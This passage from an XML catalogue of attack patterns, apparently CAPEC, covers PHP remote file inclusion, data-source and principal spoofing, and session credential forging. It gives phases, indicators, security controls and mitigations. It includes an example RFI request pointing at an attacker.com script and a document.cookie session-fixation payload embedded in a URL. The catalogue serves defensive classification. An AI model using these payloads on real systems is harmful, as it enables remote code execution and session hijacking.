					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>188<!--Reverse Engineering--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>PeerOf</Relationship_Nature>
					<Relationship_Target_ID>189<!--Software Reverse Engineering--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Description>
						<Text>http://en.wikipedia.org/wiki/Proprietary_protocol</Text>
					</Reference_Description>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>http://en.wikipedia.org/wiki/Reverse_engineering</Text>
					</Reference_Description>
				</Reference>
			</References>
		</Attack_Pattern>
		<Attack_Pattern ID="193" Name="PHP Remote File Inclusion" Pattern_Abstraction="Standard"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>In this pattern the attacker is able to load and execute arbitrary code
						remotely available from the application. This is usually accomplished
						through an insecurely configured PHP runtime environment and an improperly
						sanitized "include" or “require” call, which the user can then control to
						point to any web-accessible file. This allows attackers to hijack the
						targeted application and force it to execute their own instructions.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Survey application:</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Using a browser or an automated tool, an attacker
												follows all public links on a web site. He records
												all the links he finds.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Use a spidering tool to follow and record
												all links. Make special note of any links that
												include parameters in the URL.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Use a proxy tool to record all links visited
												during a manual traversal of the web application.
												Make special note of any links that include
												parameters in the URL. Manual traversal of this
												type is frequently necessary to identify forms
												that are GET method forms rather than POST
												forms.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>Use a browser to manually explore the
												website and analyze how it is constructed. Many
												browser's plugins are available to facilitate the
												analysis or automate the URL discovery.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>URL parameters are used by the
												application</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="2" type="Inconclusive">
												<Indicator_Description>
												<Text>Using URL rewriting, parameters may be part
												of the URL path.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="3" type="Inconclusive">
												<Indicator_Description>
												<Text>No parameters appear on the URL. Even though
												none appear, the web application may still use
												them if they are provided.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="4" type="Negative">
												<Indicator_Description>
												<Text>Applications that have only static pages or
												that simply present information without accepting
												input are unlikely to be susceptible.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>A list of URLs, with their
												corresponding parameters is created by the
												attacker.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description> Monitor velocity of
												page fetching in web logs. Humans who view a page
												and select a link from it will click far slower
												and far less regularly than tools. Tools make
												requests very quickly and the requests are
												typically spaced apart regularly (e.g. 0.8 seconds
												between them). </Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Detective">
												<Security_Control_Description> Create links on some
												pages that are visually hidden from web browsers.
												Using IFRAMES, images, or other HTML techniques,
												the links can be hidden from web browsing humans,
												but visible to spiders and programs. A request for
												the page, then, becomes a good predictor of an
												automated tool probing the application.
												</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description> Use CAPTCHA to
												prevent the use of the application by an automated
												tool. </Security_Control_Description>
											</Security_Control>
											<Security_Control ID="4" type="Preventative">
												<Security_Control_Description> Actively monitor the
												application and either deny or redirect requests
												from origins that appear to be automated.
												</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Experiment">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Attempt variations on input
											parameters:</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attack variants make use of a remotely
												available PHP script that generates a uniquely
												identifiable output when executed on the target
												application server. Possibly using an automated
												tool, an attacker requests variations on the inputs
												he surveyed before. He sends parameters that include
												variations of payloads which include a reference to
												the remote PHP script. He records all the responses
												from the server that include the output of the
												execution of remote PHP script. </Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Use a list of probe strings to inject in
												parameters of known URLs. The probe strings are
												variants of PHP remote file inclusion payloads
												which include a reference to the attacker’s
												controlled remote PHP script.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Use a proxy tool to record results of manual
												input of remote file inclusion probes in known
												URLs.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>The output of the remote PHP script is
												included in the response web page.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="2" type="Inconclusive">
												<Indicator_Description>
												<Text>Nothing is returned to the web page. The
												payload script might have been executed in a
												different context which wouldn’t be included in
												the response web page</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="3" type="Negative">
												<Indicator_Description>
												<Text>The application returns an error associated
												with the inclusion of remote file.</Text>
												</Indicator_Description>
												<Environments>env-All</Environments>
											</Indicator>
											<Indicator ID="4" type="Negative">
												<Indicator_Description>
												<Text>The application server doesn’t download the
												remote PHP script.</Text>
												</Indicator_Description>
												<Environments>env-All</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker's script is being
												executed on the application server and an output
												is being delivered at some point in the web site
												(if not on the same web
												page)</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Inconclusive">
												<Outcome_Description>The remote PHP script doesn’t
												appear to have been executed by the application
												server. It is possible to create behaviors to
												monitor the execution such as, for example, the
												remote PHP script tries to make an HTTP request to
												an attacker controlled web server, and therefore
												if the remote PHP script is executed on the
												application server, the attacker would have
												evidence in the access log file of his web
												server.</Outcome_Description>
											</Outcome>
											<Outcome ID="3" type="Failure">
												<Outcome_Description>No access to the remote PHP
												script has been recorded to the access log file of
												the web server hosting this script
												</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description> Monitor input to web
												servers, application servers, and other HTTP
												infrastructure (e.g., load balancers). Alert on
												standard Remote File Inclusion (RFI) probes. The
												majority of attackers use well known strings to
												check for vulnerabilities. Use the same
												vulnerability catalogs that hackers use.
												</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description> Apply appropriate
												input validation to filter all user-controllable
												input </Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description> When possible,
												configure the PHP runtime environment to prevent
												the execution of remote PHP scripts
												</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="4" type="Preventative">
												<Security_Control_Description> Actively monitor the
												application and either deny or redirect requests
												from origins that appear to be generating RFI
												probes. </Security_Control_Description>
											</Security_Control>
											<Security_Control ID="5" type="Preventative">
												<Security_Control_Description> When possible, only
												use the “include”, “require”, etc. PHP directives
												with statically define strings
												</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="3" Name="Exploit">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Run arbitrary server-side
											code:</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>As the attacker succeeds in exploiting the
												vulnerability, he is able to execute server-side
												code within the application. The malicious code has
												virtual access to the same resources as the targeted
												application. Note that the attacker might include
												shell code in his script and execute commands on the
												server under the same privileges as the PHP runtime
												is running with. </Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Develop malicious PHP script that is
												injected through vectors identified during the
												Experiment Phase and executed by the application
												server to execute a custom PHP script.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker’s script is being
												executed on the application
												server</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description> Monitor server logs
												for parameters containing URL with references to
												remote content </Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description> Apply appropriate
												input validation to filter all user-controllable
												input </Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description> When possible,
												configure the PHP runtime environment to prevent
												the execution of remote PHP scripts
												</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="4" type="Preventative">
												<Security_Control_Description> When possible, only
												use the “include”, “require”, etc. PHP directives
												with statically define strings
												</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>Target application server must allow remote files to be included in the
						“require”, “include”, etc. PHP directives </Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>The attacker controls a PHP script on a server
							“http://attacker.com/rfi.txt”; the .txt extension is given so that the
							script doesn’t get executed by the attacker.com server, and it will be
							downloaded as text. The target application is vulnerable to PHP remote
							file inclusion as following: include($_GET[‘filename’] . ‘.txt’); The
							attacker creates an HTTP request that passes his own script in the
							include: http://example.com/file.php?filename=http://attacker.com/rfi
							with the concatenation of the “.txt” prefix, the PHP runtime download
							the attack’s script and the content of the script gets executed in the
							same context as the rest of the original script. </Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>To inject the malicious payload in a web page</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>To bypass filters in the application</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>Ability to send HTTP request to a web application Ability to store PHP scripts
					on a server</Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Implementation: Perform input validation for all remote content, including
						remote and user-generated content</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Only allow known files to be included (whitelist)</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Make use of indirect references passed in URL parameters
						instead of file names </Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Configuration: Ensure that remote scripts cannot be include in the
						“include” or “require” PHP directives </Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Accountability</Consequence_Scope>
					<Consequence_Scope>Authentication</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Scope>Non-Repudiation</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>Any HTTP Request transport variables (GET, POST, etc.)</Text>
			</Injection_Vector>
			<Activation_Zone>
				<Text>Application server running PHP where the script is executed</Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text>Application server may be used to steal information such as code, create
						custom queries to the databases, etc. Since the attacker’s script runs
						within the same context as the application it is injected in, it has
						virtually the same capabilities.</Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>98<!--Improper Control of Filename for Include/Require Statement in PHP Program ('PHP File Inclusion') -->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>80<!--2010 Top 25 - Risky Resource Management -->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>714<!--OWASP Top Ten 2007 Category A3 - Malicious File Execution -->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>253<!--Remote Code Inclusion-->
					</Relationship_Target_ID>
					<Relationship_Description>
						<Text>http://capec.mitre.org/data/definitions/18.html</Text>
					</Relationship_Description>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Purposes>
				<Purpose>Exploitation</Purpose>
				<Purpose>Penetration</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>High</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>Client-Server</Architectural_Paradigm>
					<Architectural_Paradigm>SOA</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>PHP</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Title>WASC Threat Classification – Remote File Inclusion (RFI): </Reference_Title>
					<Reference_Link>http://projects.webappsec.org/Remote-File-Inclusion</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>Shaun Clowes</Reference_Author>
					<Reference_Title>A Study In Scarlet, Exploiting Common Vulnerabilities in PHP
						Applications</Reference_Title>
					<Reference_Publisher>Blackhat Briefings Asia 2001</Reference_Publisher>
					<Reference_Link>http://www.securereality.com.au/studyinscarlet.txt</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Title>OWASP Top 10 2007 – Malicious File Execution:</Reference_Title>
					<Reference_Publication>OWASP</Reference_Publication>
					<Reference_Link>http://www.owasp.org/index.php/Top_10_2007-A3</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Modifications>
					<Modification>
						<Modifier>Romain Gaucher</Modifier>
						<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
						<Modification_Comment>Pre-review - 0.1</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="194" Name="Fake the Source of Data" Pattern_Abstraction="Standard"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>The attacker provides data under a falsified identity. The purpose of
						using the falsified identity may be to prevent traceability of the provided
						data or it might be an attempt by the attacker to assume the rights granted
						to another identity. One of the simplest forms of this attack would be the
						creation of an email message with a modified "From" field in order to appear
						that the message was sent from someone other than the actual sender. Results
						of the attack vary depending on the details of the attack, but common
						results include privilege excalation, obfuscation of other attacks, and data
						corruption/manipulation. This attack represents a subset of the Identity
						Spoofing and Content Spoofing attacks. Identity spoofing is a broader
						pattern, including situations where no data is exchange (for example,
						logging into a computer under an assumed name). Content Spoofing is likewise
						very similar, but would include cases where there is not an active attempt
						to fake a data source (for example, appending content onto an existing email
						message without changing the From field would be considered Content
						Spoofing, but not Faking the Source of Data since the data source was not
						faked). </Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The target application must associate data with its source. This
						association could be as simple as logging the source of the data (in which
						case this attack seeks to create a false trail in the log) or the target
						application could associate some increased level of access with certain
						identities (in which case an attacker might seek to impersonate those
						identities in order to increase privileges).</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>Resources required vary depending on the nature of the attack. Possible tools
					needed by an attacker could include tools to create custom network packets,
					specific client software, and tools to capture network traffic. Many variants of
					this attack require no attacker resources, however.</Text>
			</Resources_Required>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>601<!--URL Redirection to Untrusted Site ('Open Redirect')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>148<!--Content Spoofing--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="195" Name="Principal Spoofing" Pattern_Abstraction="Standard"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker crafts a message that masquerades as a message from a person
						other than the actual message sender. This attack is a subset of the
						Identity Spoofing attack in that Principal Spoofing refers to pretending to
						be some other person in an interaction while Identity Spoofing refers to
						assuming the identity of any entity. As such, impersonating a server would
						be Identity Spoofing but not Principal Spoofing. The possible outcomes of
						Principal Spoofing mirror those of Identity Spoofing. (E.g. escalation of
						privilege and false attribution of data or activities.) Likewise, most
						techniques for Identity Spoofing (crafting messages or intercepting and
						replaying or modifying messages) can be used for a Principal Spoofing
						attack. However, because Principal Spoofing is used to impersonate a person,
						social engineering can be both an attack technique (using social techniques
						to generate evidence in support of a false identity) as well as a possible
						outcome (manipulating people's perceptions by making statements or
						performing actions under a target's name). </Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The target must associate data or activities with a person's identity and
						the attacker must be able to modify this identity without detection.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>No special resources are required for most variants of this attack.</Text>
			</Resources_Required>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>151<!--Identity Spoofing (Impersonation)--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="196" Name="Session Credential Falsification through Forging"
			Pattern_Abstraction="Standard" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker creates a false but functional session credential in order to
						gain or usurp access to a service. Session credentials allow users to
						identify themselves to a service after an initial authentication without
						needing to resend the authentication information (usually a username and
						password) with every message. If an attacker is able to forge valid session
						credentials they may be able to bypass authentication or piggy-back off some
						other authenticated user's session. This attack differs from Reuse of
						Session IDs and Session Sidejacking attacks in that in the latter attacks an
						attacker uses a previous or existing credential without modification while,
						in a forging attack, the attacker must create their own credential, although
						it may be based on previously observed credentials.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Analyze and Understand Session
											IDs:</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker finds that the targeted application
												use session credentials to identify legitimate
												users. </Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>An attacker makes many anonymous connections
												and records the session IDs. </Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>An attacker makes authorized connections and
												records the session tokens or credentials.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>Valid session information </Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="2" type="Negative">
												<Indicator_Description>
												<Text>No valid session information</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker models the session
												ID algorithm enough to produce a compatible series
												or IDs, or just one match. (When IDs are
												predictable)</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor logs for
												unusual multiple connections from a
												source.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Experiment">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Create Session IDs.</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Attackers craft messages containing their forged
												credentials in GET, POST request, HTTP headers or
												cookies. </Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>The attacker manipulates the HTTP request
												message and adds his forged session IDs in to the
												requests or cookies. </Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>Find that application uses session
												credentials. </Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="2" type="Negative">
												<Indicator_Description>
												<Text>Find that application does not use session
												credentials.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>Victim application accepts
												attackers’ session credentials.
												</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Failure">
												<Outcome_Description>Victim application does not
												accept attackers’ session
												credentials.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Detect and alert on
												users who provide known session IDs in their
												connection establishment. Since this also fits the
												scenario where a user’s session has expired, the
												heuristic must be a bit smarter, perhaps looking
												for an unusually high number of such occurrences
												in a short time frame.
												</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="3" Name="Exploit">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Abuse the Victim’s Session
											Credentials</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker fixates falsified session ID to the
												victim when victim access the system. Once the
												victim has achieved a higher level of privilege,
												possibly by logging into the application, the
												attacker can now take over the session using the
												forged session identifier.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>The attacker loads the predefined or
												predicted session ID into his browser and browses
												to protected data or functionality.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>The attacker loads the predefined or
												predicted session ID into his software and
												utilizes functionality with the rights of the
												victim.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker gains access to
												data or functionality with the rights of the
												victim.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Detect and alert on
												multiple simultaneous uses of the same session ID
												from different
												origins.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description>Apply appropriate
												input validation to filter all user-controllable
												input</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The targeted application must use session credentials to identify
						legitimate users. Session identifiers that remains unchanged when the
						privilege levels change. Predictable session identifiers. </Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>Medium</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
				<Method_of_Attack>Time and State</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>This example uses client side scripting to set session ID in the
							victim’s browser. The Javascript code
							document.cookie=”sessionid=0123456789” fixates a falsified session
							credential into victim’s browser, with the help of crafted a URL link.
							http://www.example.com/&lt;script&gt;document.cookie=”sessionid=0123456789”;&lt;/script&gt;
							A similar example uses session ID as an argument of the URL.
							http://www.example.com/index.php/sessionid=0123456789 Once the victim
							clicks the links, the attacker may be able to bypass authentication or
							piggy-back off some other authenticated vctim’s session. </Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>Forge the session credential and reply the request. </Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>Attackers may require tools to craft messages containing their forged
					credentials, and ability to send HTTP request to a web application.</Text>
